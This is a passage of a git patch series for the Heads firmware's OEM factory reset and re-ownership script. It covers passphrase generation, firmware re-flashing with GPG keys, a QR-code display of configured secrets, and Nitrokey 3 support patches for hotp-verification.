]; then - rm /.gnupg/pubring.gpg - fi - elif [ -e /.gnupg/pubring.gpg ]; then - cbfs.sh -o /tmp/oem-setup.rom -a "heads/initrd/.gnupg/pubring.gpg" -f /.gnupg/pubring.gpg - fi - if [ -e /.gnupg/trustdb.gpg ]; then - cbfs.sh -o /tmp/oem-setup.rom -a "heads/initrd/.gnupg/trustdb.gpg" -f /.gnupg/trustdb.gpg - fi - - # persist user config changes (boot device) - if [ -e /etc/config.user ]; then - cbfs.sh -o /tmp/oem-setup.rom -a "heads/initrd/etc/config.user" -f /etc/config.user - fi - - # flash updated firmware image - echo -e "\nAdding generated key to current firmware and re-flashing...\n" - if ! /bin/flash.sh /tmp/oem-setup.rom 2>/tmp/error; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Error flashing updated firmware image:\n\n$ERROR" - fi + #We are not running in QEMU, so flash the key to ROM + + ## flash generated key to ROM + echo -e "\nReading current firmware...\n(this will take a minute or two)\n" + /bin/flash.sh -r /tmp/oem-setup.rom >/dev/null 2>/tmp/error + if [ ! -s /tmp/oem-setup.rom ]; then + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Error reading current firmware:\n\n$ERROR" + fi + + # clear any existing heads/gpg files from current firmware + for i in $(cbfs.sh -o /tmp/oem-setup.rom -l | grep -e "heads/"); do + cbfs.sh -o /tmp/oem-setup.rom -d "$i" + done + # add heads/gpg files to current firmware + + if [ -e /.gnupg/pubring.kbx ]; then + cbfs.sh -o /tmp/oem-setup.rom -a "heads/initrd/.gnupg/pubring.kbx" -f /.gnupg/pubring.kbx + if [ -e /.gnupg/pubring.gpg ]; then + rm /.gnupg/pubring.gpg + fi + elif [ -e /.gnupg/pubring.gpg ]; then + cbfs.sh -o /tmp/oem-setup.rom -a "heads/initrd/.gnupg/pubring.gpg" -f /.gnupg/pubring.gpg + fi + if [ -e /.gnupg/trustdb.gpg ]; then + cbfs.sh -o /tmp/oem-setup.rom -a "heads/initrd/.gnupg/trustdb.gpg" -f /.gnupg/trustdb.gpg + fi + + # persist user config changes (boot device) + if [ -e /etc/config.user ]; then + cbfs.sh -o /tmp/oem-setup.rom -a "heads/initrd/etc/config.user" -f /etc/config.user + fi + + # flash updated firmware image + echo -e "\nAdding generated key to current firmware and re-flashing...\n" + if ! /bin/flash.sh /tmp/oem-setup.rom 2>/tmp/error; then + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Error flashing updated firmware image:\n\n$ERROR" + fi fi ## sign files in /boot and generate checksums if [[ "$SKIP_BOOT" == "n" ]]; then - echo -e "\nSigning boot files and generating checksums...\n" - generate_checksums + echo -e "\nSigning boot files and generating checksums...\n" + generate_checksums fi # passphrases set to be empty first @@ -1313,29 +1313,29 @@ passphrases="\n" # Prepare whiptail output of configured secrets if [ -n "$luks_new_Disk_Recovery_Key_passphrase" -o -n "$luks_new_Disk_Recovery_Key_passphrase_desired" ]; then - passphrases+="LUKS Disk Recovery Key passphrase: ${luks_new_Disk_Recovery_Key_passphrase}\n" + passphrases+="LUKS Disk Recovery Key passphrase: ${luks_new_Disk_Recovery_Key_passphrase}\n" fi if [ "$CONFIG_TPM" = "y" ]; then - passphrases+="TPM Owner Password: ${TPM_PASS}\n" + passphrases+="TPM Owner Password: ${TPM_PASS}\n" fi #GPG PINs output passphrases+="GPG Admin PIN: ${ADMIN_PIN}\n" #USER PIN was configured if GPG_GEN_KEY_IN_MEMORY is not active or if GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD is active if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - passphrases+="GPG User PIN: ${USER_PIN}\n" + passphrases+="GPG User PIN: ${USER_PIN}\n" fi #If user decided to generate keys in memory, we add the thumb drive passphrase if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then - passphrases+="GPG key material backup passphrase: ${ADMIN_PIN}\n" + passphrases+="GPG key material backup passphrase: ${ADMIN_PIN}\n" fi ## Show to user current configured secrets prior of rebooting whiptail --msgbox " - $(echo -e "$passphrases" | fold -w $((WIDTH-5)))" \ - $HEIGHT $WIDTH --title "Configured secrets" + $(echo -e "$passphrases" | fold -w $((WIDTH - 5)))" \ + $HEIGHT $WIDTH --title "Configured secrets" ## all done -- reboot whiptail --msgbox " @@ -1343,7 +1343,7 @@ whiptail --msgbox " After rebooting, you will need to generate new TOTP/HOTP secrets\n when prompted in order to complete the setup process.\n\n Press Enter to reboot.\n" \ - $HEIGHT $WIDTH --title "OEM Factory Reset / Re-Ownership Complete" + $HEIGHT $WIDTH --title "OEM Factory Reset / Re-Ownership Complete" # Clean LUKS secrets luks_secrets_cleanup From 108e6ed0b1c7977abacebde5fdd38b6fc64e1f94 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 17 Nov 2024 14:07:10 -0500 Subject: [PATCH 395/619] WiP initrd/bin/oem-factory-reset: add --mode (oem/user) skeleton Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 55 ++++++++++++++++++++++++++++++++++-- initrd/init | 4 +-- 2 files changed, 54 insertions(+), 5 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 533e7252b..135ecbedb 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -44,6 +44,45 @@ GPG_ALGO="RSA" # Default RSA key length is 3072 bits for OEM key gen. 4096 are way longer to generate in smartcard RSA_KEY_LENGTH=3072 +# Function to handle --mode parameter +handle_mode() { + local mode=$1 + case $mode in + oem) + DEBUG "OEM mode selected" + # Add OEM mode specific logic here + ;; + user) + DEBUG "User mode selected" + # Add User mode specific logic here + ;; + *) + warn "Unknown mode: $mode" + exit 1 + ;; + esac +} + +# Parse command-line arguments +while [[ $# -gt 0 ]]; do + key="$1" + case $key in + --mode) + MODE="$2" + shift # past argument + shift # past value + ;; + *) + shift # past unrecognized argument + ;; + esac +done + +# Handle the --mode parameter if provided +if [[ -n "$MODE" ]]; then + handle_mode "$MODE" +fi + #Override RSA_KEY_LENGTH to 2048 bits for Canokey under qemu testing boards until canokey fixes if [[ "$CONFIG_BOARD_NAME" == qemu-* ]]; then DEBUG "Overriding RSA_KEY_LENGTH to 2048 bits for Canokey under qemu testing boards" @@ -1332,10 +1371,20 @@ if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then passphrases+="GPG key material backup passphrase: ${ADMIN_PIN}\n" fi -## Show to user current configured secrets prior of rebooting -whiptail --msgbox " +# Show qrcode of configured secrets and ask user to confirm scanning of and loop until confirmed with qrenc $passphrases +while true; do + whiptail --msgbox " $(echo -e "$passphrases" | fold -w $((WIDTH - 5)))" \ - $HEIGHT $WIDTH --title "Configured secrets" + $HEIGHT $WIDTH --title "Configured secrets" + qrencode "$passphrases" + # Prompt user to confirm scanning of qrcode on console prompt not whiptail: y/n + echo -e -n "Please confirm you have scanned the QR code above [y/N]: " + read -n 1 prompt_output + echo + if [ "$prompt_output" == "y" -o "$prompt_output" == "Y" ]; then + break + fi +done ## all done -- reboot whiptail --msgbox " diff --git a/initrd/init b/initrd/init index 83ea659cf..30b08663a 100755 --- a/initrd/init +++ b/initrd/init @@ -206,8 +206,8 @@ if [ "$boot_option" = "r" ]; then # just in case... exit elif [ "$boot_option" = "o" ]; then - # Launch OEM Factory Reset/Re-Ownership - oem-factory-reset + # Launch OEM Factory Reset mode + oem-factory-reset --mode oem # just in case... exit fi From 40df08ecbc72f1e46bc22a00830677f813c0c2c8 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 17 Nov 2024 17:36:21 -0500 Subject: [PATCH 396/619] /etc/functions:: reuse detect_boot_device instead of trying only to mount /etc/fstab existing /boot partition (otherwise early 'o' to enter oem mode of oem-factory-reset Signed-off-by: Thierry Laurion --- initrd/etc/functions | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index 6a89dc60a..8bca8937d 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -570,9 +570,7 @@ escape_zero() { assert_signable() { TRACE_FUNC # ensure /boot mounted - if ! grep -q /boot /proc/mounts; then - mount -o ro /boot || die "Unable to mount /boot" - fi + detect_boot_device find /boot -print0 >/tmp/signable.ref local del='\001-\037\134\177-\377' From a6df16ec3c4d8ca84b1979aa657c31c2ed4a3443 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 17 Nov 2024 17:37:30 -0500 Subject: [PATCH 397/619] WiP initrd/bin/oem-factory-reset: add qrcode+secet output loop until user press y (end of reownership wizard secret output) Signed-off-by: Thierry Laurion works: - oem and user mode passphrase generation - qrcode missing: - unattended - luks reencryption + passphrase change for OEM mode (only input to be provided) with SINGLE passphrase when in unattended mode - same for user reownership when previously OEM reset unattended Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 31 +++++++++++++++++++++---------- initrd/etc/functions | 16 ++++++---------- 2 files changed, 27 insertions(+), 20 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 135ecbedb..9b5f81422 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -23,12 +23,10 @@ CANCEL="--no-button Cancel" HEIGHT="0" WIDTH="80" +# Default values USER_PIN_DEF=123456 ADMIN_PIN_DEF=12345678 TPM_PASS_DEF=12345678 -USER_PIN="" -ADMIN_PIN="" -TPM_PASS="" GPG_GEN_KEY_IN_MEMORY="n" GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD="n" @@ -50,11 +48,16 @@ handle_mode() { case $mode in oem) DEBUG "OEM mode selected" - # Add OEM mode specific logic here + CUSTOM_SINGLE_PASS=$(generate_passphrase --number_words 2 --max_length $MAX_HOTP_GPG_PIN_LENGTH) + USER_PIN=$CUSTOM_SINGLE_PASS + ADMIN_PIN=$CUSTOM_SINGLE_PASS + TPM_PASS=$CUSTOM_SINGLE_PASS ;; user) DEBUG "User mode selected" - # Add User mode specific logic here + USER_PIN=$(generate_passphrase --number_words 2 --max_length $MAX_HOTP_GPG_PIN_LENGTH) + ADMIN_PIN=$(generate_passphrase --number_words 2 --max_length $MAX_HOTP_GPG_PIN_LENGTH) + TPM_PASS=$ADMIN_PIN ;; *) warn "Unknown mode: $mode" @@ -81,6 +84,9 @@ done # Handle the --mode parameter if provided if [[ -n "$MODE" ]]; then handle_mode "$MODE" +else + # Default to User Re-Ownership mode + handle_mode "user" fi #Override RSA_KEY_LENGTH to 2048 bits for Canokey under qemu testing boards until canokey fixes @@ -719,9 +725,10 @@ generate_checksums() { fi DEBUG "Detach-signing boot files under kexec.sig: ${param_files}" - if sha256sum $param_files 2>/dev/null | DO_WITH_DEBUG gpg \ + + if sha256sum $param_files 2>/dev/null | gpg \ --pinentry-mode loopback \ - --passphrase "${USER_PIN}" \ + --passphrase-file <(echo -n "$USER_PIN") \ --digest-algo SHA256 \ --detach-sign \ -a \ @@ -1371,14 +1378,18 @@ if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then passphrases+="GPG key material backup passphrase: ${ADMIN_PIN}\n" fi -# Show qrcode of configured secrets and ask user to confirm scanning of and loop until confirmed with qrenc $passphrases +# Show configured secrets in whiptail and loop until user confirms qr code was scanned while true; do whiptail --msgbox " $(echo -e "$passphrases" | fold -w $((WIDTH - 5)))" \ $HEIGHT $WIDTH --title "Configured secrets" - qrencode "$passphrases" + # strip the initial newline of passphrases + qr_code=$(echo -e "$passphrases" | sed '1s/^\n//') + #Tell user to scan the QR code containing all configured secrets + echo -e "\nScan the QR code below to save the secrets to a secure location" + qrenc "$qr_code" # Prompt user to confirm scanning of qrcode on console prompt not whiptail: y/n - echo -e -n "Please confirm you have scanned the QR code above [y/N]: " + echo -e -n "Please confirm you have scanned the QR code above and/or written down the secrets? [y/N]: " read -n 1 prompt_output echo if [ "$prompt_output" == "y" -o "$prompt_output" == "Y" ]; then diff --git a/initrd/etc/functions b/initrd/etc/functions index 8bca8937d..aa57676d9 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -887,7 +887,7 @@ generate_passphrase() { local dictionary_file="$2" local word="" - word=$(grep "^$rolls" "$dictionary_file" | awk '{print $2}') + word=$(grep "^$rolls" "$dictionary_file" | awk -F ' ' '{print $2}') echo "$word" } @@ -898,17 +898,14 @@ generate_passphrase() { local rolls="" local random_bytes - # Read num_rolls bytes from /dev/urandom in one go - random_bytes=$(dd if=/dev/urandom bs=1 count="$num_rolls" 2>/dev/null | hexdump -e '1/1 "%u\n"') + # Read num_rolls bytes from /dev/random, fed by CPU RRAND in one go + random_bytes=$(dd if=/dev/random bs=1 count="$num_rolls" 2>/dev/null | hexdump -e '1/1 "%u\n"') # Process each byte to generate a dice roll while read -r byte; do roll=$((byte % 6 + 1)) - DEBUG "Randomized dice roll: $roll" rolls+=$roll done <<<"$random_bytes" - - DEBUG "Generated dice rolls: $rolls" echo "$rolls" } @@ -978,15 +975,12 @@ generate_passphrase() { exit 1 fi - digits=${#key} - DEBUG "Number of digits in dice rolls: $digits" + digits=${#key} #Number of digits in dice rolls for ((i = 0; i < num_words; ++i)); do key=$(generate_dice_rolls "$digits") word=$(get_word_from_dictionary "$key" "$dictionary_file") - DEBUG "Retrieved word: $word" if [[ "$lowercase" == "false" ]]; then - DEBUG "Capitalizing the first letter of the word" word=${word^} # Capitalize the first letter fi passphrase+="$word " @@ -997,6 +991,8 @@ generate_passphrase() { fi done + #Remove passphrase trailing space from passphrase+="$word" + passphrase=${passphrase% } echo "$passphrase" return 0 } From 223e5041bca4fcc81fe296f1399fff7ba9098f86 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 28 Nov 2024 16:39:02 -0500 Subject: [PATCH 398/619] WiP: bump to hotp-verification version supporting reset of secret app Signed-off-by: Thierry Laurion --- modules/hotp-verification | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/hotp-verification b/modules/hotp-verification index 14957e74b..861579a69 100644 --- a/modules/hotp-verification +++ b/modules/hotp-verification @@ -2,12 +2,12 @@ modules-$(CONFIG_HOTPKEY) += hotp-verification hotp-verification_depends := libusb $(musl_dep) -# v1.6 -hotp-verification_version := e9050e0c914e7a8ffef5d1c82a014e0e2bf79346 +# v1.6 + patch from https://github.com/Nitrokey/nitrokey-hotp-verification/pull/46/commits/de355ed93ba50280bf377772082b76b7a2285185 +hotp-verification_version := de355ed93ba50280bf377772082b76b7a2285185 hotp-verification_dir := hotp-verification-$(hotp-verification_version) hotp-verification_tar := nitrokey-hotp-verification-$(hotp-verification_version).tar.gz hotp-verification_url := https://github.com/Nitrokey/nitrokey-hotp-verification/archive/$(hotp-verification_version).tar.gz -hotp-verification_hash := 480c978d3585eee73b9aa5186b471d4caeeeeba411217e1544eef7cfd90312ac +hotp-verification_hash := adbc2eb75257f4adda201419ed1282950a8cf86d167b2c76f708047d0b7aeaa5 hotp-verification_target := \ $(MAKE_JOBS) \ From 814f4fabd9152e7027640589318b8ce145e61dba Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 28 Nov 2024 16:57:26 -0500 Subject: [PATCH 399/619] WiP: add nk3 secret app reset function and call it following security dongle reset logic Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 9b5f81422..30717fe33 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -138,6 +138,17 @@ mount_boot() { fi } +reset_nk3_secret_app() { + TRACE_FUNC + # Reset Nitrokey 3 secret app + if lsusb | grep -q "20a0:42b2"; then + echo + echo "Resetting Nitrokey 3 secret app" + # Reset Nitrokey 3 secret app + /bin/hotp_verification reset + fi +} + #Generate a gpg master key: no expiration date, ${RSA_KEY_LENGTH} bits #This key will be used to sign 3 subkeys: encryption, authentication and signing #The master key and subkeys will be copied to backup, and the subkeys moved from memory keyring to the smartcard @@ -533,6 +544,11 @@ gpg_key_factory_reset() { ERROR=$(cat /tmp/gpg_card_edit_output) whiptail_error_die "GPG Key factory reset failed!\n\n$ERROR" fi + + #Reset Nitrokey 3 secret app + reset_nk3_secret_app + # Nk3 now ready to set secret app PIN on first use... + # If Nitrokey Storage is inserted, reset AES keys as well if lsusb | grep -q "20a0:4109" && [ -x /bin/hotp_verification ]; then DEBUG "Nitrokey Storage detected, resetting AES keys..." @@ -540,6 +556,7 @@ gpg_key_factory_reset() { DEBUG "Restarting scdaemon to remove possible exclusive lock of dongle" killall -9 scdaemon fi + # Toggle forced sig (good security practice, forcing PIN request for each signature request) if gpg --card-status | grep "Signature PIN" | grep -q "not forced"; then DEBUG "GPG toggling forcesig on since off..." @@ -554,6 +571,7 @@ gpg_key_factory_reset() { whiptail_error_die "GPG Key forcesig toggle on failed!\n\n$ERROR" fi fi + # use p256 for key generation if requested if [ "$GPG_ALGO" = "p256" ]; then { From 351a2e213072f122274fa60a18620cf8d540aefd Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 5 Dec 2024 13:21:34 -0500 Subject: [PATCH 400/619] modules/hotp-verification: revert to 1.6, add patches tested instead Signed-off-by: Thierry Laurion --- modules/hotp-verification | 6 +- .../43.patch | 450 ++++++++++++++++++ .../46.patch | 219 +++++++++ 3 files changed, 672 insertions(+), 3 deletions(-) create mode 100644 patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch create mode 100644 patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch diff --git a/modules/hotp-verification b/modules/hotp-verification index 861579a69..14957e74b 100644 --- a/modules/hotp-verification +++ b/modules/hotp-verification @@ -2,12 +2,12 @@ modules-$(CONFIG_HOTPKEY) += hotp-verification hotp-verification_depends := libusb $(musl_dep) -# v1.6 + patch from https://github.com/Nitrokey/nitrokey-hotp-verification/pull/46/commits/de355ed93ba50280bf377772082b76b7a2285185 -hotp-verification_version := de355ed93ba50280bf377772082b76b7a2285185 +# v1.6 +hotp-verification_version := e9050e0c914e7a8ffef5d1c82a014e0e2bf79346 hotp-verification_dir := hotp-verification-$(hotp-verification_version) hotp-verification_tar := nitrokey-hotp-verification-$(hotp-verification_version).tar.gz hotp-verification_url := https://github.com/Nitrokey/nitrokey-hotp-verification/archive/$(hotp-verification_version).tar.gz -hotp-verification_hash := adbc2eb75257f4adda201419ed1282950a8cf86d167b2c76f708047d0b7aeaa5 +hotp-verification_hash := 480c978d3585eee73b9aa5186b471d4caeeeeba411217e1544eef7cfd90312ac hotp-verification_target := \ $(MAKE_JOBS) \ diff --git a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch new file mode 100644 index 000000000..26ad2bc45 --- /dev/null +++ b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch @@ -0,0 +1,450 @@ +From 707c6545a509eeb24a06537e5f835d786c2e657e Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= +Date: Thu, 5 Dec 2024 16:44:30 +0100 +Subject: [PATCH] Add support for nitrokey 3 distinction between the secrets + app and other + +This now adds the secrets app version and the nitrokey 3 firmware version, +and also the gpg pins +--- + src/ccid.c | 71 +++++++++++++++++++++++++- + src/ccid.h | 2 + + src/device.c | 29 +++++------ + src/device.h | 2 +- + src/main.c | 41 +++++++++++---- + src/operations_ccid.c | 113 +++++++++++++++++++++++++++++++++++++----- + src/operations_ccid.h | 2 +- + src/structs.h | 19 +++++++ + 8 files changed, 238 insertions(+), 41 deletions(-) + +diff --git a/src/ccid.c b/src/ccid.c +index 9cf24a0..a2cc919 100644 +--- a/src/ccid.c ++++ b/src/ccid.c +@@ -104,7 +104,7 @@ IccResult parse_icc_result(uint8_t *buf, size_t buf_len) { + // .buffer_len = buf_len + }; + // Make sure the response do not contain overread attempts +- rassert(i.data_len < buf_len - 10); ++ rassert(i.data_len <= buf_len - 10); + return i; + } + +@@ -307,6 +307,75 @@ int send_select_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_siz + return RET_NO_ERROR; + } + ++int send_select_nk3_admin_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult) { ++ unsigned char cmd_select[] = { ++ 0x6f, ++ 0x0E, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0xa4, ++ 0x04, ++ 0x00, ++ 0x09, ++ 0xa0, ++ 0x00, ++ 0x00, ++ 0x08, ++ 0x47, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x01, ++ }; ++ ++ check_ret( ++ ccid_process_single(handle, buf, buf_size, cmd_select, sizeof cmd_select, iccResult), ++ RET_COMM_ERROR); ++ ++ ++ return RET_NO_ERROR; ++} ++ ++int send_select_nk3_pgp_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult) { ++ unsigned char cmd_select[] = { ++ 0x6f, ++ 0x0C, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0xA4, ++ 0x04, ++ 0x00, ++ 0x06, ++ 0xD2, ++ 0x76, ++ 0x00, ++ 0x01, ++ 0x24, ++ 0x01, ++ 0x00, ++ }; ++ ++ check_ret( ++ ccid_process_single(handle, buf, buf_size, cmd_select, sizeof cmd_select, iccResult), ++ RET_COMM_ERROR); ++ ++ ++ return RET_NO_ERROR; ++} + + int ccid_init(libusb_device_handle *handle) { + +diff --git a/src/ccid.h b/src/ccid.h +index ed17dc7..3dcf106 100644 +--- a/src/ccid.h ++++ b/src/ccid.h +@@ -70,6 +70,8 @@ uint32_t icc_pack_tlvs_for_sending(uint8_t *buf, size_t buflen, TLV tlvs[], int + libusb_device_handle *get_device(libusb_context *ctx, const struct VidPid pPid[], int devices_count); + int ccid_init(libusb_device_handle *handle); + int send_select_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); ++int send_select_nk3_admin_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); ++int send_select_nk3_pgp_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); + + + enum { +diff --git a/src/device.c b/src/device.c +index 4b9361e..52acece 100644 +--- a/src/device.c ++++ b/src/device.c +@@ -29,6 +29,7 @@ + #include "structs.h" + #include "utils.h" + #include ++#include + #include + #include + #include +@@ -259,23 +260,19 @@ int device_receive_buf(struct Device *dev) { + + #include "operations_ccid.h" + +-int device_get_status(struct Device *dev, struct ResponseStatus *out_status) { +- assert(out_status != NULL); ++int device_get_status(struct Device *dev, struct FullResponseStatus *out_response) { ++ assert(out_response != NULL); + assert(dev != NULL); +- memset(out_status, 0, sizeof(struct ResponseStatus)); ++ memset(out_response, 0, sizeof(struct FullResponseStatus)); ++ ++ struct ResponseStatus *out_status = &out_response->response_status; + + if (dev->connection_type == CONNECTION_CCID) { +- int counter = 0; +- uint32_t serial = 0; +- uint16_t version = 0; +- int res = status_ccid(dev->mp_devhandle_ccid, +- &counter, +- &version, +- &serial); +- out_status->retry_admin = counter; +- out_status->retry_user = counter; +- out_status->card_serial_u32 = serial; +- out_status->firmware_version = version; ++ int res = status_ccid(dev->mp_devhandle_ccid, out_response); ++ // out_status->retry_admin = counter; ++ // out_status->retry_user = counter; ++ // out_status->card_serial_u32 = serial; ++ // out_status->firmware_version = version; + return res; + } + +@@ -290,7 +287,7 @@ int device_get_status(struct Device *dev, struct ResponseStatus *out_status) { + + device_send_buf(dev, GET_STATUS); + device_receive_buf(dev); +- *out_status = *(struct ResponseStatus *) dev->packet_response.response_st.payload; ++ out_response->response_status = *(struct ResponseStatus *) dev->packet_response.response_st.payload; + + if (out_status->firmware_version_st.minor == 1) { + for (int i = 0; i < 100; ++i) { +@@ -343,4 +340,4 @@ const char *command_status_to_string(uint8_t status_code) { + void clean_buffers(struct Device *dev) { + memset(dev->ccid_buffer_in, 0, sizeof dev->ccid_buffer_in); + memset(dev->ccid_buffer_out, 0, sizeof dev->ccid_buffer_out); +-} +\ No newline at end of file ++} +diff --git a/src/device.h b/src/device.h +index c895546..97feeeb 100644 +--- a/src/device.h ++++ b/src/device.h +@@ -72,7 +72,7 @@ struct Device { + + int device_connect(struct Device *dev); + int device_disconnect(struct Device *dev); +-int device_get_status(struct Device *dev, struct ResponseStatus *out_status); ++int device_get_status(struct Device *dev, struct FullResponseStatus *out_status); + int device_send(struct Device *dev, uint8_t *in_data, size_t data_size, uint8_t command_ID); + int device_receive(struct Device *dev, uint8_t *out_data, size_t out_buffer_size); + int device_send_buf(struct Device *dev, uint8_t command_ID); +diff --git a/src/main.c b/src/main.c +index 059069e..9b38552 100644 +--- a/src/main.c ++++ b/src/main.c +@@ -93,25 +93,46 @@ int parse_cmd_and_run(int argc, char *const *argv) { + res = RET_NO_ERROR; + break; + case 'i': {// id | info +- struct ResponseStatus status; ++ struct FullResponseStatus status; ++ memset(&status, 0, sizeof (struct FullResponseStatus)); ++ + res = device_get_status(&dev, &status); + check_ret((res != RET_NO_ERROR) && (res != RET_NO_PIN_ATTEMPTS), res); + if (strnlen(argv[1], 10) == 2 && argv[1][1] == 'd') { + // id command - print ID only +- print_card_serial(&status); ++ print_card_serial(&status.response_status); + } else { + // info command - print status + printf("Connected device status:\n"); + printf("\tCard serial: "); +- print_card_serial(&status); +- printf("\tFirmware: v%d.%d\n", +- status.firmware_version_st.major, +- status.firmware_version_st.minor); +- if (res != RET_NO_PIN_ATTEMPTS) { +- printf("\tCard counters: Admin %d, User %d\n", +- status.retry_admin, status.retry_user); ++ print_card_serial(&status.response_status); ++ if (status.device_type == Nk3) { ++ printf("\tFirmware Nitrokey 3: v%d.%d.%d\n", ++ (status.nk3_extra_info.firmware_version >> 22) & 0b1111111111, ++ (status.nk3_extra_info.firmware_version >> 6) & 0xFFFF, ++ status.nk3_extra_info.firmware_version & 0b111111); ++ printf("\tFirmware Secrets App: v%d.%d\n", ++ status.response_status.firmware_version_st.major, ++ status.response_status.firmware_version_st.minor); ++ if (res != RET_NO_PIN_ATTEMPTS) { ++ printf("\tSecrets app PIN counter: %d\n", ++ status.response_status.retry_user); ++ } else { ++ printf("\tSecrets app PIN counter: PIN is not set - set PIN before the first use\n"); ++ } ++ printf("\tGPG Card counters: Admin %d, User %d\n", ++ status.nk3_extra_info.pgp_admin_pin_retries, ++ status.nk3_extra_info.pgp_user_pin_retries); + } else { +- printf("\tCard counters: PIN is not set - set PIN before the first use\n"); ++ printf("\tFirmware: v%d.%d\n", ++ status.response_status.firmware_version_st.major, ++ status.response_status.firmware_version_st.minor); ++ if (res != RET_NO_PIN_ATTEMPTS) { ++ printf("\tCard counters: Admin %d, User %d\n", ++ status.response_status.retry_admin, status.response_status.retry_user); ++ } else { ++ printf("\tCard counters: PIN is not set - set PIN before the first use\n"); ++ } + } + } + if (res == RET_NO_PIN_ATTEMPTS) { +diff --git a/src/operations_ccid.c b/src/operations_ccid.c +index eb46124..25772e5 100644 +--- a/src/operations_ccid.c ++++ b/src/operations_ccid.c +@@ -273,14 +273,102 @@ int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify) { + return RET_VALIDATION_PASSED; + } + +-int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number) { ++int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response) { ++ rassert(full_response != NULL); ++ struct ResponseStatus *response = &full_response->response_status; + rassert(handle != NULL); +- rassert(attempt_counter != NULL); +- rassert(firmware_version != NULL); +- rassert(serial_number != NULL); + uint8_t buf[1024] = {}; + IccResult iccResult = {}; +- int r = send_select_ccid(handle, buf, sizeof buf, &iccResult); ++ bool pin_counter_is_error = false; ++ int r; ++ libusb_device *usb_dev; ++ struct libusb_device_descriptor usb_desc; ++ ++ usb_dev = libusb_get_device(handle); ++ ++ r = libusb_get_device_descriptor(usb_dev, &usb_desc); ++ ++ if (r < 0) { ++ return r; ++ } ++ ++ ++ if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_3_USB_PID) { ++ full_response->device_type = Nk3; ++ } else if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_PRO_USB_PID) { ++ full_response->device_type = NkPro2; ++ } else if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_STORAGE_USB_PID) { ++ full_response->device_type = NkStorage; ++ } else if (usb_desc.idVendor == LIBREM_KEY_USB_VID || usb_desc.idProduct == LIBREM_KEY_USB_PID) { ++ full_response->device_type = LibremKey; ++ } ++ ++ if (full_response->device_type == Nk3) { ++ r = send_select_nk3_admin_ccid(handle, buf, sizeof buf, &iccResult); ++ if (r != RET_NO_ERROR) { ++ return r; ++ } ++ ++ uint8_t data_iso[MAX_CCID_BUFFER_SIZE] = {}; ++ uint32_t iso_actual_length = iso7816_compose( ++ data_iso, sizeof data_iso, ++ 0x61, 0, 0, 0, 4, NULL, 0); ++ ++ // encode ccid wrapper ++ uint32_t icc_actual_length = icc_compose(buf, sizeof buf, ++ 0x6F, iso_actual_length, ++ 0, 0, 0, data_iso); ++ int transferred; ++ r = ccid_send(handle, &transferred, buf, icc_actual_length); ++ if (r != 0) { ++ return r; ++ } ++ ++ r = ccid_receive(handle, 